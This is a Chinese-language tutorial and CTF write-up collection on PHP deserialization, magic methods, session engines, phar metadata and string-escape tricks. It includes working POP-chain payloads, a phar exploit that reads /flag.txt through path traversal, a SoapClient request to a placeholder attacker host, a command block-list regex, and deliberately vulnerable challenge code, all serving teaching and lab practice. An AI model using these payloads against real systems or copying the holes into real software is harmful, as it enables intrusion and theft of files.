这篇文章主要讲解了“PHP反序列化、魔术方法以及反序列化漏洞的原理”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“PHP反序列化、魔术方法以及反序列化漏洞的原理”吧!
为方便存储、转移对象,将对象转化为字符串的操作叫做序列化;将对象转化的字符串恢复成对象的过程叫做反序列化。
php中的序列化与反序列化函数分别为:serialize()、unserialize()
<?php class azhe{ public $iq = '200'; public $eq = 300; private $pr = "4ut15m"; //private与protected属性的序列化结果存在不可见字符 function func(){ echo "function\n"; } } $a = new azhe(); echo "serialize -> " . serialize($a)."\n"; ?> //运行结果 serialize -> O:4:"azhe":3:{s:2:"iq";s:3:"200";s:2:"eq";i:300;s:8:"azhepr";s:6:"4ut15m";} 将结果进行url编码如下 O%3A4%3A%22azhe%22%3A3%3A%7Bs%3A2%3A%22iq%22%3Bs%3A3%3A%22200%22%3Bs%3A2%3A%22eq%22%3Bi%3A300%3Bs%3A8%3A%22%00azhe%00pr%22%3Bs%3A6%3A%224ut15m%22%3B%7D
序列化后的结果可分为几类
类型:d ->d代表一个整型数字 O:d -> 对象 ->d代表该对象类型的长度,例如上述的azhe类对象长度为4,原生类对象Error长度为5 a:d -> 数组 ->d代表数组内部元素数量,例如array('a'=>'b','x'=>1)有两个元素 s:d -> 字符串 -dN代表字符串长度,例如abc序列化后为s:3:"abc"; i:d -> 整型 ->d代表整型变量的值,例如300序列化后的值则为i:300; a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
php的session存储的也是序列化后的结果
php对session的处理有三种引擎分别为php、php_serialize、php_binary.经过这三者处理后的session结构都不相同。
php_serialize ->与serialize函数序列化后的结果一致 php ->key|serialize后的结果 php_binary ->键名的长度对应的ascii字符+键名+serialize()函数序列化的值 默认使用php引擎
使用php引擎的结果见上图
使用php_serialize引擎的结果如下
使用php_binary引擎的结果如下
其中存在不可见字符,将结果进行URL编码如下
在session文件可写的情况下,可手动写入我们想要的内容,例如
<?php ini_set('open_basedir','/var/www/html'); session_save_path('/var/www/html'); session_start(); highlight_file(__FILE__); include "flag.php"; $banner = "--4ut15m--\n"; if($_SESSION['name']==='admin'){ echo $flag."<br>"; }else if(isset($_GET['name']) && isset($_GET['content'])){ if(preg_match('/ph/i',$_GET['name'])){ var_dump($_GET['name']); die('over'); }else file_put_contents('/var/www/html/'.$_GET['name'],$banner . $_GET['content']); } ?>
该题目中可任意文件写,故写入session文件构造name=admin.payload=|s:3:"xxx";name|s:5:"admin";
简单说一下payload.
banner和payload拼接在一起后变为--4ut15m--\n|s:3:"xxx";name|s:5:"admin";
经php序列化引擎反序列化后就成为了
$_SESSION=['--4ut15m--\n' => 'xxx', 'name' => 'admin']
满足一定条件自动调用的方法即为魔术方法,常见魔术方法及触发条件如下
__wakeup() //使用unserialize时触发 __sleep() //使用serialize时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当脚本尝试将对象调用为函数时触发
<?php class Superman{ public $id = 1; public $name = "4ut15m"; function __construct(){ echo "正在实例化Superman类,这是__construct的echo\n"; } function __destruct(){ echo "正在销毁Superman对象,这是__destruct的echo\n"; } function __get($key){ echo "你想访问{$key}属性,但是Superman没有这个属性,这是__get的echo\n"; } function __call($key,$value){ echo "你想调用{$key}方法,但是Superman没有这个方法,这是__call的echo\n"; } } $superman = new Superman(); $superman->ed; $superman->eval(); ?> //运行结果 正在实例化Superman类,这是__construct的echo 你想访问ed属性,但是Superman没有这个属性,这是__get的echo 你想调用eval方法,但是Superman没有这个方法,这是__call的echo 正在销毁Superman对象,这是__destruct的echo
当程序中存在反序列化可控点时,造成该漏洞,可通过程序中存在的类和php原生类构造pop链达成攻击。
<?php highlight_file(__FILE__); class hit{ public $file = ""; function __construct(){ $this->file = "index.php"; } function __destruct(){ echo file_get_contents($this->file); } } unserialize($_GET['file']); ?>
又例如
<?php highlight_file(__FILE__); class hit{ public $name = ""; function __construct(){ $this->name = "4ut15m"; } function __destruct(){ echo $this->name; } } class wow{ public $wuhusihai = ""; function __construct(){ $this->wuhusihai = "wuwuwu"; } function __toString(){ $this->wuhusihai->b(); return "ok"; } } class fine{ public $code = ""; function __call($key,$value){ @eval($this->code); } } unserialize($_GET['payload']); ?>
pop链为hit->__destruct() ----> wow->__toString() ----> fine->__call(),构造payload
l3m0n文章
原生类即是php内置类,查看拥有所需魔术方法的类如下
<?php $classes = get_declared_classes(); //获取所有已定义类 foreach($classes as $class){ $methods = get_class_methods($class); //获取当前类所拥有的方法 foreach($methods as $methdo){ if(in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' //调用var_export导出类时被调用 ))){ print "$class::$method"; } } } ?>
结果如下
Exception::__wakeup Exception::__toString ErrorException::__wakeup ErrorException::__toString Generator::__wakeup DateTime::__wakeup DateTime::__set_state DateTimeImmutable::__wakeup DateTimeImmutable::__set_state DateTimeZone::__wakeup DateTimeZone::__set_state DateInterval::__wakeup DateInterval::__set_state DatePeriod::__wakeup DatePeriod::__set_state LogicException::__wakeup LogicException::__toString BadFunctionCallException::__wakeup BadFunctionCallException::__toString BadMethodCallException::__wakeup BadMethodCallException::__toString DomainException::__wakeup DomainException::__toString InvalidArgumentException::__wakeup InvalidArgumentException::__toString LengthException::__wakeup LengthException::__toString OutOfRangeException::__wakeup OutOfRangeException::__toString RuntimeException::__wakeup RuntimeException::__toString OutOfBoundsException::__wakeup OutOfBoundsException::__toString OverflowException::__wakeup OverflowException::__toString RangeException::__wakeup RangeException::__toString UnderflowException::__wakeup UnderflowException::__toString UnexpectedValueException::__wakeup UnexpectedValueException::__toString CachingIterator::__toString RecursiveCachingIterator::__toString SplFileInfo::__toString DirectoryIterator::__toString FilesystemIterator::__toString RecursiveDirectoryIterator::__toString GlobIterator::__toString SplFileObject::__toString SplTempFileObject::__toString SplFixedArray::__wakeup ReflectionException::__wakeup ReflectionException::__toString ReflectionFunctionAbstract::__toString ReflectionFunction::__toString ReflectionParameter::__toString ReflectionMethod::__toString ReflectionClass::__toString ReflectionObject::__toString ReflectionProperty::__toString ReflectionExtension::__toString ReflectionZendExtension::__toString DOMException::__wakeup DOMException::__toString PDOException::__wakeup PDOException::__toString PDO::__wakeup PDOStatement::__wakeup SimpleXMLElement::__toString SimpleXMLIterator::__toString PharException::__wakeup PharException::__toString Phar::__destruct Phar::__toString PharData::__destruct PharData::__toString PharFileInfo::__destruct PharFileInfo::__toString CURLFile::__wakeup mysqli_sql_exception::__wakeup mysqli_sql_exception::__toString SoapClient::__call SoapFault::__toString SoapFault::__wakeup
将Error对象以字符串输出时会触发__toString,构造message可xss
异常类大多都可以如此利用
__call方法可用
<?php $a = new SoapClient(null,array('uri'=>'http://vps:port','location'=>'http://vps:port/')); #echo serialize($a); $a->azhe(); //还可以设置user_agent,user_agent处可通过CRLF注入恶意请求头 ?>
序列化字符串内容可控情况下,若服务端存在替换序列化字符串中敏感字符操作,则可能造成反序列化字符逃逸。
<?php highlight_file(__FILE__); include 'flag.php'; class Taoyi{ public $name=""; public $id="id"; } function filter($string){ return preg_replace('/QAQ/','wuwu',$string); } $name = $_GET['name']; $taoyi = new Taoyi(); $taoyi->id = "100"; $taoyi->name = $name; $haha = filter(serialize($taoyi)); echo "haha --> {$haha} <br>"; @$haha = unserialize($haha); if($haha->id === '3333'){ echo $flag; } ?>
$taoyi->id
被限定为100,但是$taoyi->name
可控并且$taoyi
对象被序列化后会经过filter函数处理,将敏感词QAQ替换为wuwu,而我们需要使最后的$haha->id='3333'
.
正常传值name=4ut15m,结果为O:5:"Taoyi":2:{s:4:"name";s:6:"4ut15m";s:2:"id";s:3:"100";} 传递包含敏感词的值name=4ut15mQAQ,结果为O:5:"Taoyi":2:{s:4:"name";s:9:"4ut15mwuwu";s:2:"id";s:3:"100";} 可以看见s:4:"name";s:9:"4ut15mwuwu";这里4ut15mwuwu的长度为10,和前面的s:9对不上,所以会反序列化失败。 这里构造一个payload去闭合双引号,name=4ut15mQAQ",结果为O:5:"Taoyi":2:{s:4:"name";s:10:"4ut15mwuwu"";s:2:"id";s:3:"100";} 可以看见s:10:"4ut15mwuwu"";其中s:10所对应的字符串为4ut15mwuwu,也即是我们输入的双引号闭合了前面的双引号,而序列化自带的双引号则成为了多余的双引号。 我们每输入一个敏感字符串都可以逃逸一个字符(上面输入了一个QAQ,所以可以逃逸出一个双引号去闭合前面的双引号)。 故我们可以通过构造payload使得我们能够控制id的值,达到对象逃逸的效果。 如下图
payload为name=4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:4:"3333";}
payload构造思路 先明确需要逃逸的字符串及其长度,在此即为";s:2:"id";s:4:"3333";}长度为23,需要逃逸23个字符,所以加入23个QAQ即可满足条件.
<?php highlight_file(__FILE__); include 'flag.php'; class Taoyi{ public $name=""; public $id="id"; public $xixi=""; } function filter($string){ return preg_replace('/wuwu/','QAQ',$string); } $name = $_GET['name']; $xixi = $_GET['xixi']; $taoyi = new Taoyi(); $taoyi->id = "100"; $taoyi->xixi = $xixi; $taoyi->name = $name; $haha = filter(serialize($taoyi)); echo "haha --> {$haha} <br>"; @$haha = unserialize($haha); if($haha->id === '3333'){ echo $flag; } ?>
序列化字符串减少的情况,需要序列化字符串有至少两处可控点.这里是将敏感词wuwu替换为QAQ。
正常传值name=4ut15m&xixi=1234,结果为O:5:"Taoyi":3:{s:4:"name";s:6:"4ut15m";s:2:"id";s:3:"100";s:4:"xixi";s:4:"1234";} 第一个可控点name作为逃逸点,第二个可控点xixi作为逃逸对象所在点. 因为需要逃逸的属性id在xixi的前面,故需要通过在name处构造payload将属性id对应的字符串吞没. 测试传值name=4ut15mwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwu&xixi=1234 结果为O:5:"Taoyi":3:{s:4:"name";s:82:"4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:3:"100";s:4:"xixi";s:4:"1234";} 可以看到替换后s:82对应的字符串为4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:3:"100 故替换后只剩两个属性name与xixi.同样的道理可以用在属性xixi上,如果不吞没属性xixi,那么在xixi处传递的数据会作为xixi的值,仍旧无法达到效果。 只要将id与xixi都吞没,就可以在xixi处传递参数重新构造这两个属性值。 如下
payload为name=4ut15mwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwu&xixi=";s:2:"id";s:4:"3333";s:4:"xixi";s:1:"x";}
payload构造思路 先明确需要逃逸的字符串,";s:2:"id";s:4:"3333";s:4:"xixi";s:1:"x";},再确认逃逸字符串字符串之前需要吞没的字符串的长度,在此为";s:2:"id";s:3:"100";s:4:"xixi";s:42:" 长度为38 每一个wuwu可以吞没一个字符,所以需要38个wuwu去吞没这个字符串。
phar文件是php的打包文件,在php.ini中可以通过设置phar.readonly来控制phar文件是否为只读,若非只读(phar.readonly=Off)则可以生成phar文件.
四部分,stub、manifest、contents、signature
1.stub phar文件标志,必须包含<?php __HALT_COMPILER(); ?>,PHP结束标志?>可以省略,但语句结束符;与stub的结尾之间不能超过两个空格。在生成phar之前应先添加stub.<?php __HALT_COMPILER(); ?>之前也可添加其他内容伪造成其他文件,比如GIF89a<?php __HALT_COMPILER(); ?> 2.manifest 存放phar归档信息.Manifest结构如下图 所有未使用的标志保留,供将来使用,并且不得用于存储自定义信息。使用每个文件的元数据功能来存储有关特定文件的自定义信息.
php中的大部分与文件操作相关函数在通过phar协议获取数据时会将phar文件的meta-data部分反序列化
fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile
生成phar文件例子如下
<?php class pharfile{ public $name="4ut15m"; } $phar = new Phar("4ut15m.phar"); $phar->startBuffering(); //开启缓冲区 $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $test = new pharfile(); $phar->setMetadata($test); //设置metadata,这一部分数据会被序列化 $phar->addFromString("azhe.txt",'test'); //添加压缩文件 $phar->stopBuffering(); //关闭缓冲区 ?>
&
在php中是位运算符也是引用符(&&
为逻辑运算符).&
可以使不同名变量指向同一个值,类似于C中的地址。
倘若出现下述情况,即可使用引用符
<?php include "flag.php"; highlight_file(__FILE__); class FLAG{ public $one; public $two; public function __wakeup(){ $this->one = "azhe"; } } $a = @unserialize($_GET['payload']); $a->two = $flag; if($a->one === $a->two){ echo "flag is here:$flag"; } ?>
这里的__wakeup
是不需要绕过的,$a->one
引用了$a->two
后这两者的值一定会相等,不管谁做了改变。
序列化结果中的R:2;
即是引用.
算是反序列化入门题吧
index.php中发现提示
下载备份文件index.php.bak,审计
<?php header("Content-Type: text/html;charset=utf-8"); error_reporting(0); echo "<!-- YmFja3Vwcw== -->"; class ctf { protected $username = 'hack'; protected $cmd = 'NULL'; public function __construct($username,$cmd) { $this->username = $username; $this->cmd = $cmd; } function __wakeup() { $this->username = 'guest'; } function __destruct() { if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)) { exit('</br>flag能让你这么容易拿到吗?<br>'); } if ($this->username === 'admin') { // echo "<br>right!<br>"; $a = `$this->cmd`; var_dump($a); }else { echo "</br>给你个安慰奖吧,hhh!</br>"; die(); } } } $select = $_GET['code']; $res=unserialize(@$select); ?>
直接编写exp
禁用了一些文件读取命令,曲线救国如下
源码
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h2>".file_get_contents($text,'r')."</h2></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); }![image-20201204165807234.png](https://image.3001.net/images/20210218/1613636557_602e23cd4fca4536c1e47.png!small) ?> //考点: 基本的反序列化漏洞,php伪协议的利用
第一层if通过php://input满足,file通过php://filter读取useless.php
//useless.php <?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
payload构造
创建一个Flag对象,使得该对象的file属性为flag.php 提交序列化字符串即可
<?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); } //考点: 基本的序列化pop链构造
payload构造
思路:1.需要将Modifier的对象当作函数调用 2.需要将Show的对象当作字符串处理 3.需要调用Test对象中不存在的属性 preg_match是处理字符串的,当使得一个Show1->source为Show2对象时,可调用Show2的__toString.而该魔术方法调用$this->str->source,若使得该对象的source为Test对象,则可触发Test对象的__get方法,在Test对象的__get方法中又可构造使得将一个Modifier类当作函数调用,触发__invoke. payload如下
注册账号登录后,在下载功能处发现任意文件下载,扒取源码如下
//index.php <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } ?> <!DOCTYPE html> <html> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>网盘管理</title> <head><link href="static/css/bootstrap.min.css" rel="stylesheet"><link href="static/css/panel.css" rel="stylesheet"><script src="static/js/jquery.min.js"></script><script src="static/js/bootstrap.bundle.min.js"></script><script src="static/js/toast.js"></script><script src="static/js/panel.js"></script> </head> <body><nav aria-label="breadcrumb"><ol class="breadcrumb"><li class="breadcrumb-item active">管理面板</li><li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li><li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li></ol> </nav> <input type="file" id="fileInput" class="hidden"> <div class="top" id="toast-container"></div> <?php include "class.php"; $a = new FileList($_SESSION['sandbox']); $a->Name(); $a->Size(); ?>
//login.php <?php session_start(); if (isset($_SESSION['login'])) { header("Location: index.php"); die(); } ?> <!doctype html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <title>登录</title> <!-- Bootstrap core CSS --> <link href="static/css/bootstrap.min.css" rel="stylesheet"> <style>.bd-placeholder-img { font-size: 1.125rem; text-anchor: middle; } @media (min-width: 768px) { .bd-placeholder-img-lg { font-size: 3.5rem; } } </style> <!-- Custom styles for this template --> <link href="static/css/std.css" rel="stylesheet"> </head> <body class="text-center"> <form class="form-signin" action="login.php" method="POST"><h2 class="h4 mb-3 font-weight-normal">登录</h2><label for="username" class="sr-only">Username</label><input type="text" name="username" class="form-control" placeholder="Username" required autofocus><label for="password" class="sr-only">Password</label><input type="password" name="password" class="form-control" placeholder="Password" required><button class="btn btn-lg btn-primary btn-block" type="submit">提交</button><p class="mt-5 text-muted">还没有账号? <a href="register.php">注册</a></p><p class="text-muted">© 2018-2019</p> </form> <div class="top" id="toast-container"></div> </body> <script src="static/js/jquery.min.js"></script> <script src="static/js/bootstrap.bundle.min.js"></script> <script src="static/js/toast.js"></script> </html> <?php include "class.php"; if (isset($_GET['register'])) { echo "<script>toast('注册成功', 'info');</script>"; } if (isset($_POST["username"]) && isset($_POST["password"])) { $u = new User(); $username = (string) $_POST["username"]; $password = (string) $_POST["password"]; if (strlen($username) < 20 && $u->verify_user($username, $password)) { $_SESSION['login'] = true; $_SESSION['username'] = htmlentities($username); $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/"; if (!is_dir($sandbox)) { mkdir($sandbox); } $_SESSION['sandbox'] = $sandbox; echo("<script>window.location.href='index.php';</script>"); die(); } echo "<script>toast('账号或密码错误', 'warning');</script>"; } ?>
//download.php <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; ini_set("open_basedir", getcwd() . ":/etc:/tmp"); chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { Header("Content-type: application/octet-stream"); Header("Content-Disposition: attachment; filename=" . basename($filename)); echo $file->close(); } else { echo "File not exist"; } ?>
//delete.php <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>
//upload.php <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } include "class.php"; if (isset($_FILES["file"])) { $filename = $_FILES["file"]["name"]; $pos = strrpos($filename, "."); if ($pos !== false) { $filename = substr($filename, 0, $pos); } $fileext = ".gif"; switch ($_FILES["file"]["type"]) { case 'image/gif': $fileext = ".gif"; break; case 'image/jpeg': $fileext = ".jpg"; break; case 'image/png': $fileext = ".png"; break; default: $response = array("success" => false, "error" => "Only gif/jpg/png allowed"); Header("Content-type: application/json"); echo json_encode($response); die(); } if (strlen($filename) < 40 && strlen($filename) !== 0) { $dst = $_SESSION['sandbox'] . $filename . $fileext; move_uploaded_file($_FILES["file"]["tmp_name"], $dst); $response = array("success" => true, "error" => ""); Header("Content-type: application/json"); echo json_encode($response); } else { $response = array("success" => false, "error" => "Invaild filename"); Header("Content-type: application/json"); echo json_encode($response); } } ?>
//class.php <?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct() { global $db; $this->db = $db; } public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; } public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); } } ?>
先分析类文件,User类存在__destruct
魔术方法,并且在其中调用$this->db->close()
,再一看File类,刚好有close
方法,但是User的__destruct
中并未输出结果。再看FileList类,其中存在__call
与__destruct
.__call
方法首先将调用的不存在函数$func
放至FileList->funcs
数组尾部,而后遍历FileList->files
并且调用FileList->files->$func()
,执行结果会被赋值给FileList->result
.FileList->__destruct方法输出result的结果。
很常规,该题POP链很好构造。User->__destruct --> FileList->__call --> File->close() --> FileList->__destruct
在delete.php中找到程序反序列化触发点
跟进detele方法
unlink是个文件操作函数,可以通过phar协议进行反序列化。程序可以上传图片,故生成phar文件修改后缀上传,在删除功能处触发反序列化即可(经测试,flag文件为/flag.txt)。
exp如下
<?php class User{ public $db; public function __construct(){ $this->db = new FileList(); } } class FileList{ private $files; private $results; private $funcs; public function __construct(){ $this->files = array(new File()); $this->results; $this->funcs; } } class File{ public $filename = "../../../../../../flag.txt"; } $a = new User(); $phar = new Phar('4ut15m.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER();?>'); $phar->setMetadata($a); $phar->addFromString('azhe.txt','4ut15m'); $phar->stopBuffering(); ?>
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } } //考点: php弱类型语言==判断漏洞,基本的反序列化漏洞,序列化过程对protect、private属性的处理
程序只允许使用ascii码在32-125范围内的字符,满足条件就反序列化。
process方法中规定,当op=="2"时可以读取$filename
文件,op=="1"时可以写入文件.
析构函数中规定,当op==="2"时使得op="1".
综上可知,当使得op !=="2"但op =="2"时,可以读取文件。构造op=2可满足条件
payload构造
因为要读取flag.php,所以使得filename='flag.php';因为要执行读取操作,所以使得op=2 类的private或protected属性在序列化后存在不可见字符,不可见字符不在可使用字符范围内(如若可用则需要将序列化后的字符串进行编码),我们可以手动修改protected属性为public属性,硬核过is_valid
发现www.zip,获得源码
//index.php <?php require_once('class.php'); if($_SESSION['username']) { header('Location: profile.php'); exit; } if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if($user->login($username, $password)) { $_SESSION['username'] = $username; header('Location: profile.php'); exit; } else { die('Invalid user name or password'); } } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" > <form action="index.php" method="post" class="well" > <img src="static/piapiapia.gif" class="img-memeda " > <h4>Login</h4> <label>Username:</label> <input type="text" name="username" class="span3"/> <label>Password:</label> <input type="password" name="password" class="span3"> <button type="submit" class="btn btn-primary">LOGIN</button> </form> </div> </body> </html> <?php } ?>
//profile.php <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?> <!DOCTYPE html> <html> <head> <title>Profile</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" > <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " > <h4>Hi <?php echo $nickname;?></h4> <label>Phone: <?php echo $phone;?></label> <label>Email: <?php echo $email;?></label> </div> </body> </html> <?php } ?>
//register.php <?php require_once('class.php'); if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if(!$user->is_exists($username)) { $user->register($username, $password); echo 'Register OK!<a href="index.php">Please Login</a>'; } else { die('User name Already Exists'); } } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" > <form action="register.php" method="post" class="well" > <img src="static/piapiapia.gif" class="img-memeda " > <h4>Register</h4> <label>Username:</label> <input type="text" name="username" class="span3"/> <label>Password:</label> <input type="password" name="password" class="span3"> <button type="submit" class="btn btn-primary">REGISTER</button> </form> </div> </body> </html> <?php } ?>
